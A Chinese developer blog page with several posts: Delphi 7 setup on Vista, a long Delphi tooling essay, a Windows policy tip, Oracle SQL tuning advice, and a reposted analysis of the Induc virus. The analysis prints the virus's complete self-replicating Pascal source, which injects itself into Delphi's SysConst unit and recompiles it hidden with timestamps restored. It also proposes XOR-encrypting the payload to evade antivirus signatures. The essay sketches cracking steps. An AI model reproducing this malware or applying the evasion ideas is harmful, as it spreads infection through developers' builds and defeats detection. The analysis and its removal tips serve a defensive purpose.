cpploverr

常用链接

统计

最新评论

#

在vista上安装delphi7的解决方案

在vista上安装delphi7的解决方案

相信很多delphi爱好者因在vista不能正常使用delphi7而烦恼,甚至有些朋友说vista的出现就是delphi的未日了。我可以明确告诉大家,delphi7绝对可以在vista下正常使用。在vista上安装过d7的朋友都知道,当你正常安装d7后,启动d7时,屏幕会出现一个对话框。对话框的提示很明显,delphi不能rename一个文件,这说明了什么?会不会是用户的权限不够?没错,你猜对了。我现在给大家提供一个解决方案,大家可以参考一下。
  step1,修改“C:\Program Files\Borland\Delphi7\Bin”的权限(右击上面的目录-》属性-》安全-》编辑-》修改后确定退出),赋予于users组modify权限;

  step2,修改“C:\Program Files\Borland\Delphi7\Projects”的权限(右击上面的目录-》属性-》安全-》编辑-》修改后确定退出),赋予于users组modify权限;

  step3,运行d7,一切正常。

  done!还等什么,赶快试试吧!

 

 

---
本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-10 14:13 cpploverr 阅读(94) | 评论 (0)编辑 收藏

我的Delphi开发经验谈

?

我的Delphi开发经验谈


作者:Icebird
--------
开发环境
--------

??? Delphi 7是一个很经典的版本,在Win2000/XP下推荐安装Delphi 7来开发软件,在Vista下推荐使用Delphi 2007开发软件。安装好Delphi 7后,应立即安装Delphi 7 Update Pack 1,Delphi 2007则建议尽量安装最新的版本。工欲善其事,必先利其器,为了提升开发效率,为了能更加得心应手的处理接下来的开发工作,我们有必要安装一些有用的开发辅助工具(Delphi将此类插件以Expert命名)。首先推荐的是DelForExp这个源代码格式化工具,集成在IDE里,使用相当方便。即使我所写代码的风格非常好,但是还是免不了阅读某些人写的乱七八糟的代码,这时DelForExp就能派上用场了,1秒钟就能让代码能看上去顺眼多了。GExperts曾经是一个非常出名的工具,可现在都不怎么更新了,里面有几个功能还是值得一用,比如Grep Search, Replace Components, Code Proofreader等。强烈推荐安装CnPack IDE 专家包,相信我,它会让你的Delphi更好用。Delphi 7是不支持重构的,因此我还建议安装Castalia,这个工具中某些功能还是很不错的。CodeRush一直都是Delphi下最强大的工具,可是由于安装后比较容易与其他工具冲突,让人不得不忍痛割爱。Delphi 7下建议安装Delphi SpeedUp这个IDE加速工具,其原理是在Delphi启动前,替换RTL的函数为来自FastCode工程的执行效率更高的函数。ModelMaker Code Explorer为Delphi增加了一些方便重构代码的功能,值得安装使用。

??? 第一次启动Delphi 7,关闭设置中的Delphi Direct以禁止Delphi访问Borland服务器,勾选Show Compiler Progress选项以便编译程序时可以看见编译进度,然后分别设置所安装的专家的选项,再对Delphi的窗体布局按自己的喜好调整,调整好了然后将其保存为默认布局。关闭工程,设置好默认的工程选项。接下来就可以安装控件包了。如果是在项目小组中配置开发环境,因为可能所需的控件比较多,安装比较麻烦,建议由一个有经验的开发人员将那些散装控件预编译后做成安装程序供小组其他成员安装。

--------
软件设计
--------

??? 在整理自己的思路的时候可以采用PersonalBrain来画思维导图,这是一个拓展脑力,激发思维的一个活动,并且将自己的想法全部记录下来,并在整理的过程当中可以发现内在联系与更多的问题,在接下来的设计中加以考虑。做设计需要画图,除了Visio外,我推荐EDraw Soft Diagrammer。Enterprise Architect用来做UML设计是很好的选择。ModelMaker为Delphi增加UML支持,可以保持设计与代码双向同步,非常不错的工具。

??? 作为一个Delphi产品的设计人员,应该具有广阔的视野,熟悉.NET、Java下优秀的框架设计,熟悉Delphi类库的源代码,其中总有我们可以借鉴与学习的地方,根据公司的实际情况以及具体需求有选择的在产品开发中进行实践,这样才能做出高质量的产品。

--------
软件开发
--------

??? 数据结构是软件开发中的基础,在开发项目前,你一定应该准备好如TStack, THashtable, TQueue, TCollection, TMap, TBag, TSet, TAssociation之类的容器类,然后在以后的开发中根据需要选用合适的数据结构,避免不要直接使用指针与TList。如有需要,可以先将TStream,TRegistry等常用类继承实现,也就是做一个包装,这样就为以后的开发中就留下了一个可以随时加入扩展的接口。

??? 网上也能找到DGL(The Delphi Generic Library)来为Delphi增加泛型支持,实际上也可以称之为一个模板库,但是这个库我也只使用过一次,网上也未见其他人使用,因此到底是否可靠还有待于实践验证。说到模板库,我还想起一个DEEX,这是一个预处理器,可以让你使用类似STL相似的语法,其中也内置了DTL(Delphi Template Library)库。

??? 关于AOP,Delphi这方面完全不能与Java或.NET相比,所能用的技术也就只能是动态代理或Hook来实现,虽然也出现了MeAOP之类的框架,我还是建议从设计上去解决这类AOP的需求,或者也可以考虑采用在DailyBuild的时候做编译前预处理(比如设计成{LogAction}类似于.NET的属性特性来修饰特定的方法,当然预处理器必须自己开发)。

??? 与开发有关的文件都应该被管理起来,而不仅仅是只管理代码,一开始就要做好目录规划,特别要注意将代码与运行时所需的资源分隔开,一般来说,可以分为Doc,Src,Res,Misc四大类,Doc存放全部相关的文档,里面建立具体的分类目录;Src存放编译所需的文件,比如源代码和帮助的源文件;Res存放制作安装包与发布软件所需的各种资源文件,比如图片、网页等。这样做将为接下来的DailyBuild做好准备。

??? Delphi没有Package与Namespace的概念,因此只能利用目录上的物理划分代替逻辑划分,将同一性质的单元放置到同一目录,根据需要再划分更多子目录来存放单元。

??? 程序的界面上的控件最好都重新规范命名,切忌在代码中出现类似Label1.txt := 'abc';之类的代码。开发者应该熟悉Delphi所提供的系统函数,切忌自己去实现Delphi已经提供了的函数,一则这样做的效率不高,二则你自己所写的代码没有经过完全的测试,很有可能存在未妥善处理的情况。我们不提倡重复发明轮子,特别是在正式的开发中这样做。开发中把握面向对象设计的原则:单一职责、开放封闭、里氏替换、依赖倒置、接口隔离、高内聚低耦合。代码就是最好的注释,变量命名尽可能的表达其本身的意义,最好的注释就是不需要注释也能很容易的看懂代码,只在需要的地方加上注释。开发人员应该将自己所写的代码视之为供别人使用的产品,不要随意的将方法声明为公开方法,只提供给别人需要的方法,每个公用方法上都应该用注释标明其功能。程序编译过程中出现的任何警告或提示都应该认真对待,争取消除每一个警告或提示,这样做是避免一些代码中可能存在的隐患。

??? 有经验的程序员完成特定的功能会充分考虑可变的情况,将这些地方提取出来,定义为方法参数或者从配置文件中读取,这样即使需求发生变化,也能轻松应对。要写出易维护的程序应该在软件配置化和程序动态化上下功夫。特别提一提程序动态化,现在开发网络游戏的很多,而且一般都会用到脚本引擎Lua来实现部分逻辑,这样在开发后期的调整相对变得轻松一点,以后在服务器上做修改也不会要求重新启动程序。当然在一般的项目或产品中一样可以考虑使用脚本引擎,当然不一定要用Lua,还可以有很多别的选择。比如:DelphiWebScript,RemObjects Pascal Script,AUTOMA atPASCAL SCRIPTER,FastScript,Innerfuse Pascal Script。如果还有更高的要求,还可以考虑利用COCO/R (ParserBuilder)来实现自己的语法解析器。

??? 开发中通常会遇到自己不能解决的问题,要知道你遇到的问题别人可能早就遇到过并解决,因此请教他人或者请教Google通常是最好的选择。上论坛提问是没有效率的方法。本地的知识库也能派上用场,比如www.delphi3000.com的离线库CodeFinder,大富翁离线资料库,

--------
控件开发
--------

??? 控件分为不可视控件与可视控件,不可视控件其实与一般的类没什么太大的区别,只需要公布需要公布的属性为Published,如有需要也可以设计并注册自己的属性编辑器。

??? 开发控件也有专业的开发工具Eagle CDK和Eagle reAct,您不仅可以很方便的创建类,还可以在运行期测试控件,可以很方便的修改属性,即时看到效果,大大提高了开发效率。

--------
软件破解
--------

??? 愈来愈多的开发者开始采用RSA来作为注册的加密算法,效果还算不错,虽然仍不能防止被爆破,但是至少不会出现(内存)注册机。对软件加壳也不是什么防弹衣,对于有经验的破解者几分钟就可以用OllyDbg从内存Dump(先用Process Explorer杀掉屏蔽调试工具的线程),接着就是用Import REConstructor修复IAT,再用Lord PE对EXE进行优化。

??? DeDe可以让破解者看到程序内的资源,事件,既可以静态分析,也可以在OllyDbg中对分析出的地址进行动态调试。

??? 破解Delphi控件当然也可以用DeDe,但是我们有更好的选择,那就是DCUcu与Dcu2Pas,可以将Dcu直接反编译成汇编代码,通过静态分析其中的字符串以及调用的API,破解真的是很容易。

??? 只有做到知己知彼,才能做到有的放矢,反破解就是做到以最小的保护代价来使得破解者付出极大的破解行动。

--------
版本控制
--------

??? 版本控制最流行的就是VSS, CVS, SVN,我比较喜欢SVN,但是由于在Delphi下始终没有很方便的连接SVN的插件,因此,仍然是Delphi+VSS是最方便的版本控制的选择。VssConneXion是专门用于为Delphi增加VSS支持的插件,确实为开发人员带来了无比的便利。Delphi+TortoiseCVS与Delphi+TortoiseSVN同样也是不错的选择。VSS最大的缺点就是只能在内网中使用,除了可以透过VPN来允许远程访问外,我们还可以用Dynamsoft SourceAnyWhere或SourceOffSite实现VSS通过Internet访问。当然VSS 2005也支持Internet访问。如果你是个人开发者,觉得使用VSS也太麻烦,不妨试试FileHamster。

--------
软件测试
--------

??? 在提交给测试人员前,要求开发人员首先做自测,不要出现给测试人员的是一个都不能运行的版本,这样是对测试人员的不尊重。

??? Java有JUnit,.Net有NUnit,同样Delphi也有DUnit,这主要是用来做单元测试用的,特别是在不停的代码重构中,能够及时发现修改出的问题,是每日构建中的重要组成部分。开发人员在完成功能前就写好测试用例代码,也称之为测试驱动开发,让自己作为自己代码的第一个用户,以确保自己提交的代码是易用的、正确的;让测试人员更专注于发现那些隐藏的逻辑性错误。

??? TestComplete是AutomatedQA出品的专业自动化测试工具,与Rational Robot和Mercury WinRunner相比,特别适合用于Delphi开发的程序的测试。自动化测试可以减轻测试人员的工作量,提高他们的测试效率。当然,采用自动化测试对于测试人员的要求就更高了,因为需要测试人员维护测试脚本。

--------
缺陷管理
--------

??? 测试人员的报告需要反馈给开发者,同时又要知道开发者的修改意见,上级主管需要知道当前的测试进度与修改情况,这一切都是需要缺陷管理系统所管理的。通常缺陷管理都是做成B/S系统,当然也有提供客户端的。JIRA, Mantis, Bugzilla, Axosoft OnTime, Axosoft PowerTrack, Bug Tracker, BugFree, Dev Hound, SourceGear Dragnet, TestTrack Pro, URTracker,同样有很多选择。

--------
内存泄漏
--------

??? Java与.NET自身有垃圾回收机制,而且没有指针,除了外部资源(数据连接,文件等)需要使用完关闭,让开发人员是不需要主动管理内存释放的,Delphi却是需要自己管理对象的创建与释放(Create and Free, New and Dispose, GetMem and FreeMem),在这一点上有些初学者往往不太注意,应坚持谁创建谁负责释放的原则。虽然Delphi下没有垃圾回收机制,但是有工具可以帮助我们检查内存泄漏。

??? MemProof就是一款专门用来检查内存等资源分配情况的软件。作者Atanas Stoyanov后来加入了AutomatedQA公司。
??? AQtime是AutomatedQA出品的专业的测试软件,包括性能分析,内存与资源分配情况,最有用的当然是性能分析与内存泄漏检测。
??? Fast Memory Manager,一款优秀的内存管理器,Delphi 2006以后就采用FMM替换了BorlandMM,Delphi 7下也可以加挂FMM来提升程序运行性能。同时FMM也是一个绝佳的内存泄漏测试工具。

??? 推荐引入FMM到工程,在开发过程中尽早的发现并解决内存泄漏问题,是比较理想的解决办法。

--------
错误定位
--------

??? 测试人员在错误追踪系统上提出了测试出来的错误,开发人员就要进行针对解决,首先就会遇到如何定位一些复杂的错误。
??? 首先就是打断点在Delphi里跟踪调试运行,如果是在线程里或是不能跟踪调试的情况下,可以使用OutputDebugString进行跟踪输出,然后在View->DebugWindows->Event Log里查看。CodeSite是一款让开发者可以很方便的调试工具,特别是支持远程输出。此外还有小巧并且开源的Overseer也是不错的调试工具。JEDI Code Library里的Debug单元功能同样强大。

??? AV错误是Delphi中比较常见的未知错误。通常可以挂接Application.OnException,来自己处理所有的异常错误。在这方面,有专业的软件可以帮助我们处理异常,EurekaLog就是一款专业的异常处理软件,可以告诉我们非常详细的错误信息,使得定位错误变得更轻松。madCollection里的madExcept也是一款非常强的异常处理软件,

--------
制作安装
--------

??? Inno Setup与NSIS都是免费的,功能强大的专业安装制作软件,Inno Setup是Delphi开发的,因此特别适合Delphi开发的产品的安装程序制作。NSIS比较适合C开发的产品的安装程序制作。推荐Inno Setup + ISSI (Inno Setup Script Includes) + ISTool来制作安装程序。

--------
每日构建
--------

??? 如果一个公司还是采用手工方式编译发布软件,那一定会出问题,比如将某个中文文件打包到英文版里发布出去,比如发布的软件的版本并非最终的版本。

??? 为了确保软件发布的稳定性,不管大小公司都应该制定一套软件发布流程,并用工具来固化这个流程。

??? 流程首先是从版本控制软件获取最新或特定版本的代码以及资源,对代码以及资源做必要的预处理(比如修改版本号,自动代码审查),编译代码,编译资源(例如帮助),编译中出现错误自动反馈(比如发送邮件),编译成功后自动进行单元测试(测试失败也会自动反馈;编译成功但是出现的警告与提示也应自动反馈),测试通过后制作安装程序,发布软件(比如上传到某个FTP,复制到某个目录)。这些流程很繁琐,如果由人来执行是不可靠的,所以要由软件来实现这个流程。

??? 代码审查:检查代码中是否存在不符合事先约定的代码规范的动作。比如.NET下的FxCop就是用来做代码审查。在Delphi中需要自己实现审查器,加上利用正则表达式定义的代码审查规则(比如控件命名是否规范,窗体上是否使用的英文字体,公用方法上是否标有注释等)。代码审查用人工实现是没有效率的,同时也是不可靠的,利用DailyBuild来实现自动代码审查能够保证代码质量,甚至于提前发现代码中的隐患。

??? 可以用脚本实现每日构建:比如Perl, PowerShell, 批处理等,当然只适合一些简单场合,而且对于维护脚本的人员的要求也相对较高。

??? Java有Ant,.NET有Nant,同样Delphi有Want(为什么叫Want而非Dant,原来Want是取Windows Ant之意,虽然Kylix可以在Linux运行,Free Pascal可以在更多的平台下运行,但是想到Want是一个命令行工具,want clean, want compile, want build,看起来很不错,于是作者还是决定用Want), Want是用XML作为配置文件,维护起来稍微有点麻烦,不过维护好XML以后执行构建的时候有WantUI界面可以使用,还算挺方便的。

??? FinalBuilder,一个完全的图形化构建工具,支持脚本,很好用,支持的工具也很多,唯一的缺点就是这是一个收费软件。

??? Visual Build Professional,同样是一个可视化的构建工具,也支持脚本,支持宏,还支持虚拟机,同样也是一个收费软件。

--------
网络资源
--------

??? http://www.torry.net上有很多的Delphi资源,里面有不少优秀的免费控件与代码。

??? 随着时间的流逝,我们手上应该积累了很多的开发资源,比如电子书、文章、源码、开发工具等等,应该将其准确命名并分类存放于不同的目录中,如果体积太大,可以刻录成光盘并用WhereIsIt编目后妥善保管。像那些比较零散的文章、代码等,可以考虑使用一个文档管理软件管理起来,比如MyBase、EverNote等。管理的知识可以与他人分享交流,共同学习提高。

--------
其他补充
--------

??? JEDI Project:JEDI Code Library 和 JEDI VCL 是Delphi下最大的两个开放源代码的工程,值得好好研究。

??? KOL+MCK:VCL的确很方便,可是代价便是程序体积的增加,KOL(Key Objects Library)+MCK(Mirror Classes Kit)便是VCL的一个替代品。

??? DWPL(The Delphi WDosX Project Library):让Delphi编译的Console程序能够运行在DOS下。换句话说就是开发32位的DOS程序,用Turbo/Borland Pascal开发的是16位程序。

??? Free Pascal/Lazarus:Free Pascal是一个32位的编译器,并且支持多平台,也可以算是Delphi的一个近亲,另外一个是TMT Pascal。Lazarus则是一个Free Pascal的集成开发环境,界面类似Delphi。


(出处:http://www.cnblogs.com/Icebird/archive/2008/08/26/1118840.html
?

本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-10 10:47 cpploverr 阅读(216) | 评论 (0)编辑 收藏

Delphi 关键字详解

     摘要: Delphi 关键字详解---absolute//它使得你能够创建一个新变量, 并且该变量的起始地址与另一个变量相同.var Str: string[32]; StrLen: Byte absolute Str;//这个声明指定了变量StrLen起始地址与Str相同.//由于字符串的第0个位置保存了字符串的长度, 所以StrLen的值即字符串长度.begin Str := '...  阅读全文

posted @ 2010-01-08 16:37 cpploverr 阅读(395) | 评论 (0)编辑 收藏

限制修改本机电脑日期

控制面板——管理工具——本地安全策略 在弹出窗口中依次展开

 本地策略 用户权利指派

然后在右侧找到 更改系统时间 项

双击打开 更新系统时间配置 属性对话框

在里面所有权限用户名全部删除

然后点击确定

重启电脑

再试试更改时间 系统会提示 你没有适当的特级权,所以无法更改系统时间,

这样你的电脑的日期别人就无法更改了。

---
本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-06 11:10 cpploverr 阅读(148) | 评论 (0)编辑 收藏

专门针对delphi的,嵌入源码的病毒(转)

专门针对delphi的,嵌入源码的病毒

如果在 X:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB),那么恭喜你,中招了。


http://topic.csdn.net/u/20090817/20/102ba10b-82ae-472d-a0be-6d54ce6a331b.html

http://bbs.2ccc.com/topic.asp?topicid=330829

http://bbs.2ccc.com/topic.asp?topicid=330760


http://www.delphibbs.com/delphibbs/dispq.asp?lid=3972581

 

好有趣的感染方式,够可爱了~

今天群的人发了一条链接,关于许多人SysConst.dcu被感染.

被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.

偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~

只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.

uses windows; var sc:array[1..24] of string=(',

'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',

'= #36 thens:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',

'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',

'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',

'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',

'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',

'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',

'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',

',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',

'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',

')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',

'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',

'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',

'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',

'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',

'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',

'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',

'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',

'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',

'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)= 0 then beginr:=$$;i:=',

'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',

'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',

'begin st; end.

稍微还原一下就是

function x(s:string):string;

var

    i:integer;

begin

    for i:=1 to length(s) do

        if s=#36 then s:=#39;

    result:=s;

end;

procedure re(s,d,e:string);

var

    f1,f2:textfile;

    h:cardinal;

    f:STARTUPINFO;

    p:PROCESS_INFORMATION;

    b:boolean;

    t1,t2,t3:FILETIME;

begin

    h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

    if h<>DWORD(-1) then

    begin

        CloseHandle(h);

        exit;

    end;

    {'I-}assignfile(f1,s);

    reset(f1);

    if ioresult<>0 then

        exit;

    assignfile(f2,d+'pas');

    rewrite(f2);

    if ioresult<>0 then

    begin

        closefile(f1);

        exit;

    end;

    while not eof(f1) do

    begin

        readln(f1,s);

        writeln(f2,s);

        if pos('implementation',s)<>0 then

        break;

    end;

    for h:= 1 to 1 do

        writeln(f2,sc[h]);

    for h:= 1 to 23 do

        writeln(f2,''''+sc[h],''',');

    writeln(f2,''''+sc[24]+''');');

    for h:= 2 to 24 do

        writeln(f2,x(sc[h]));

    closefile(f1);

    closefile(f2);

    {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

    fillchar(f,sizeof(f),0);

    f.cb := sizeof(f);

    f.dwFlags := STARTF_USESHOWWINDOW;

    f.wShowWindow := SW_HIDE;

    b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);

    if b then

        WaitForSingleObject(p.hProcess,INFINITE);

        MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

        DeleteFile(pchar(d+'pas'));

        h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

        if h=DWORD(-1) then

        exit;

        GetFileTime(h,@t1,@t2,@t3);

        CloseHandle(h);

        h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

        if h=DWORD(-1) then

        exit;

        SetFileTime(h,@t1,@t2,@t3);

        CloseHandle(h);

    end;

 

procedure st;

var

    k:HKEY;

    c:array [1..255] of char;

    i:cardinal;

    r:string;

    v:char;

begin

    for v:='4' to '7' do

    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

    i:=255;

    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

    begin

        r:='';

        i:=1;

        while c<>#0 do

        begin

            r:=r+c;

            inc(i);

        end;

        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

    end;

    RegCloseKey(k);

end;

end;

begin

st;

end.

大概分析一下原理

病毒的主体代码,首先执行后从注册表"HKEY_LOCAL_MACHINE\Software\Borland\Delphi\"的RootDir值下读取Delphi路径.

然后再读取delphi路径下的\source\rtl\sys\SysConst.pas文件,循环读取直到implementation行.然后跳出循环,下面开始输出恶意代码.保存文件后,最后使用MoveFile函数将原来的SysConst.dcu命名为SysConst.bak,最后使用CreateProcess函数隐藏调用dcc32.exe编译被感染后的SysConst.pas单元文件为SysConst.dcu.获取原文件时间,修改被感染后文件的时间,所以从文件时间上看不出任何变化.

被感染后的编译环境只要加入SysUtils单元所编译的任意可执行文件都会成为病毒载体,感染Delphi下的编译环境~

从代码可以看得出,作者用意不在破坏,而是静默无声无色地实现感染,一次又一次的感染,不断地传播代码的主体.

稍微推测一下作者,不像国人的作风,国人稍微找到一丁点可以利用的东西,肯定借题发挥.不断地XX转化为利益.

就算不为利益,肯定很炫耀地贴上by xxx,好让全世界都知道是他弄的.

从数组变量命名为sc,不难想象,其实应该是Source Code的缩写,像老外作风,觉得作者应该是国外的.

而且作者很低调,似乎只是想实现自己的一种自我价值.享受着精神上的价值,不过也可以说是恶作剧.

还好没有加入其它更邪恶的代码,要是弄一个下载者功能进去,又开始无敌了~

通过感染源文件实现传播,感染确实有那么一点点新颖,以前有想过,不过感觉作者实现得很好.

主动防御的出现确实抹杀了不少病毒和木马之间的生存空间,起码传统上的几乎无一幸免.

传统上的传播已经江郎才尽,能发挥的都发挥了,只有其他更多种多样的途径上传播才是王道.

感染源文件,那样可委屈那些开发人员的,好不容易写出一套程序,编译后并发布,却要背负着植入恶意代码的嫌疑,真是悲哀~

而且稍微补充一下这个XX的不足

1.主体代码用字符串数组的方式保存,随便用一些十六进制编辑软件都能看见主要代码,容易泄漏技术细节.

2.因为字符串内包含'符号会导致编译冲突.所以作者弄了一个x函数,本意是将字符串内的$替换为'符号.

结合以上两点,可以考虑用简单的xor异或加密的方式保存主体代码.而且密钥方面可以随机改变一下.

我尝试将被感染后的程序内的主体字符串代码填充为00,然后保存后,卡巴大叔不杀了,哈哈~

可以看得出,卡巴是通过特征码查杀技术,假如将那段主体代码每次随机加密保存,不知道卡叔如何对付呢?应该会用上启发式查杀,哈哈~


注意,就算恢复回原来的SysConst.dcu文件,但是那些被感染过的程序再次执行,还会再次被感染.

暂时免疫方法:恢复后,设置SysConst.dcu文件属性为只读,并且保留SysConst.bak文件或者创建SysConst.bak名字的文件夹.

---
本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-06 11:02 cpploverr 阅读(135) | 评论 (0)编辑 收藏

ORACLE SQL优化

ORACLE SQL优化


(1) 选择最有效率的表名顺序(只在基于规则的优化器中有效):
ORACLE 的解析器按照从右到左的顺序处理FROM 子句中的表名,FROM 子句中写在最后的表
(基础表driving table)将被最先处理,在FROM 子句中包含多个表的情况下,你必须选择记
录条数最少的表作为基础表。如果有3个以上的表连接查询, 那就需要选择交叉表(intersec
tion table)作为基础表, 交叉表是指那个被其他表所引用的表.

(2) WHERE 子句中的连接顺序.:
ORACLE 采用自下而上的顺序解析WHERE 子句,根据这个原理,表之间的连接必须写在其他WHE
RE 条件之前, 那些可以过滤掉最大数量记录的条件必须写在WHERE 子句的末尾.

(3) SELECT 子句中避免使用‘ * ‘:
ORACLE 在解析的过程中, 会将'*' 依次转换成所有的列名, 这个工作是通过查询数据字典
完成的, 这意味着将耗费更多的时间

(4) 减少访问数据库的次数:
ORACLE 在内部执行了许多工作: 解析SQL 语句, 估算索引的利用率, 绑定变量, 读数据块
等;

(5) 在SQL*Plus , SQL*Forms 和Pro*C 中重新设置ARRAYSIZE 参数, 可以增加每次
数据库访问的检索数据量,建议值为200

(6) 使用DECODE 函数来减少处理时间:
使用DECODE 函数可以避免重复扫描相同记录或重复连接相同的表.

(7) 整合简单,无关联的数据库访问:
如果你有几个简单的数据库查询语句,你可以把它们整合到一个查询中(即使它们之间没有
关系)

(8) 删除重复记录:
最高效的删除重复记录方法( 因为使用了ROWID)例子:
DELETE FROM EMP E WHERE E.ROWID > (SELECT MIN(X.ROWID)
FROM EMP X WHERE X.EMP_NO = E.EMP_NO);

(9) 用TRUNCATE 替代DELETE:
当删除表中的记录时,在通常情况下, 回滚段(rollback segments ) 用来存放可以被恢复
的信息. 如果你没有COMMIT 事务,ORACLE 会将数据恢复到删除之前的状态(准确地说是恢复
到执行删除命令之前的状况) 而当运用TRUNCATE 时, 回滚段不再存放任何可被恢复的信息.
当命令运行后,数据不能被恢复.因此很少的资源被调用,执行时间也会很短. (译者按: TRU
NCATE 只在删除全表适用,TRUNCATE 是DDL 不是DML)

(10) 尽量多使用COMMIT:
只要有可能,在程序中尽量多使用COMMIT, 这样程序的性能得到提高,需求也会因为COMMIT
所释放的资源而减少:
COMMIT 所释放的资源:
a. 回滚段上用于恢复数据的信息.
b. 被程序语句获得的锁
c. redo log buffer 中的空间
d. ORACLE 为管理上述3种资源中的内部花费

(11) 用Where 子句替换HAVING 子句:
避免使用HAVING 子句, HAVING 只会在检索出所有记录之后才对结果集进行过滤. 这个处
理需要排序,总计等操作. 如果能通过WHERE 子句限制记录的数目,那就能减少这方面的开
销. (非oracle 中)on、where、having 这三个都可以加条件的子句中,on 是最先执行,whe
re 次之,having 最后,因为on 是先把不符合条件的记录过滤后才进行统计,它就可以减少
中间运算要处理的数据,按理说应该速度是最快的, where 也应该比having 快点的,因为
它过滤数据后才进行sum,在两个表联接时才用on 的,所以在一个表的时候,就剩下where
跟having 比较了。在这单表查询统计的情况下,如果要过滤的条件没有涉及到要计算字段,
那它们的结果是一样的,只是where 可以使用rushmore 技术,而having 就不能,在速度上
后者要慢如果要涉及到计算的字段,就表示在没计算之前,这个字段的值是不确定的,根据
上篇写的工作流程,where 的作用时间是在计算之前就完成的,而having 就是在计算后才
起作用的,所以在这种情况下,两者的结果会不同。在多表联接查询时, on 比where 更早
起作用。系统首先根据各个表之间的联接条件,把多个表合成一个临时表后,再由where
进行过滤,然后再计算,计算完后再由having 进行过滤。由此可见,要想过滤条件起到正
确的作用,首先要明白这个条件应该在什么时候起作用,然后再决定放在那里

(12) 减少对表的查询:
在含有子查询的SQL 语句中,要特别注意减少对表的查询.例子:
SELECT TAB_NAME FROM TABLES WHERE (TAB_NAME,DB_VER) = ( SELECT
TAB_NAME,DB_VER FROM TAB_COLUMNS WHERE VERSION = 604)

(13) 通过内部函数提高SQL 效率.:
复杂的SQL 往往牺牲了执行效率. 能够掌握上面的运用函数解决问题的方法在实际工作中
是非常有意义的

(14) 使用表的别名(Alias):
当在SQL 语句中连接多个表时, 请使用表的别名并把别名前缀于每个Column 上.这样一来,
就可以减少解析的时间并减少那些由Column 歧义引起的语法错误.

(15) 用EXISTS 替代IN、用NOT EXISTS 替代NOT IN:
在许多基于基础表的查询中,为了满足一个条件,往往需要对另一个表进行联接.在这种情况
下, 使用EXISTS(或NOT EXISTS)通常将提高查询的效率. 在子查询中,NOT IN 子句将执行
一个内部的排序和合并. 无论在哪种情况下,NOT IN 都是最低效的(因为它对子查询中的
表执行了一个全表遍历). 为了避免使用NOT IN ,我们可以把它改写成外连接(Outer Join
s)或NOT EXISTS.
例子:
(高效)SELECT * FROM EMP (基础表) WHERE EMPNO > 0 AND EXISTS (SELECT ‘X'
FROM DEPT WHERE DEPT.DEPTNO = EMP.DEPTNO AND LOC = ‘MELB')
(低效)SELECT * FROM EMP (基础表) WHERE EMPNO > 0 AND DEPTNO IN(SELECT DEP
TNO FROM DEPT WHERE LOC = ‘MELB')

(16) 识别'低效执行'的SQL 语句:
虽然目前各种关于SQL 优化的图形化工具层出不穷,但是写出自己的SQL 工具来解决问题始
终是一个最好的方法:
SELECT EXECUTIONS , DISK_READS, BUFFER_GETS,
ROUND((BUFFER_GETS-DISK_READS)/BUFFER_GETS,2) Hit_radio,
ROUND(DISK_READS/EXECUTIONS,2) Reads_per_run,
SQL_TEXT
FROM V$SQLAREA
WHERE EXECUTIONS>0
